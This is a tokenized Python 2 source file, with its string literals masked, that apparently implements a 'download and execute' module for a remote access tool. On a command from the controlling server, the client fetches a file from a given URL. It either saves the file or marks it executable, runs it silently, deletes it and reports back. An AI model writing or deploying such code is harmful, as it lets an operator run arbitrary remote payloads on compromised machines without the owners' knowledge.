<s> import module <EOL> import os <EOL> import stat <EOL> import time <EOL> import urllib2 <EOL> import tempfile <EOL> import subprocess as sp <EOL> MODNAME = '<STR_LIT>' <EOL> USAGE = """<STR_LIT>""" <EOL> @ module . server_handler ( MODNAME ) <EOL> def server ( server , argv ) : <EOL> if len ( argv ) < <NUM_LIT:2> or '<STR_LIT>' in argv or '<STR_LIT>' in argv : <EOL> print USAGE <EOL> return <EOL> resp = server . conn . exchange ( '<STR_LIT:U+0020>' . join ( argv ) ) <EOL> msg = '<STR_LIT>' if resp == '<STR_LIT>' else '<STR_LIT>' + resp <EOL> print '<STR_LIT>' . format ( msg ) <EOL> @ module . client_handler ( MODNAME ) <EOL> def client ( client , inp ) : <EOL> """<STR_LIT>""" <EOL> inpv = inp . split ( ) <EOL> save = inpv [ <NUM_LIT:1> ] in ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> url = inpv [ <NUM_LIT:3> ] if save else inpv [ <NUM_LIT:1> ] <EOL> r = urllib2 . urlopen ( url ) <EOL> if save : <EOL> with open ( inpv [ <NUM_LIT:2> ] , '<STR_LIT:w>' ) as f : <EOL> f . write ( r . read ( ) ) <EOL> client . s . send ( '<STR_LIT>' ) <EOL> return <EOL> else : <EOL> with tempfile . NamedTemporaryFile ( delete = False ) as f : <EOL> f . write ( r . read ( ) ) <EOL> if not save : <EOL> os . fchmod ( f . fileno ( ) , stat . S_IRWXU ) <EOL> try : <EOL> sp . Popen ( f . name , stdout = open ( os . devnull , '<STR_LIT:w>' ) , stderr = sp . STDOUT ) <EOL> except Exception : <EOL> os . remove ( f . name ) <EOL> raise <EOL> time . sleep ( <NUM_LIT:1> ) <EOL> os . remove ( f . name ) <EOL> client . s . send ( '<STR_LIT>' ) </s>
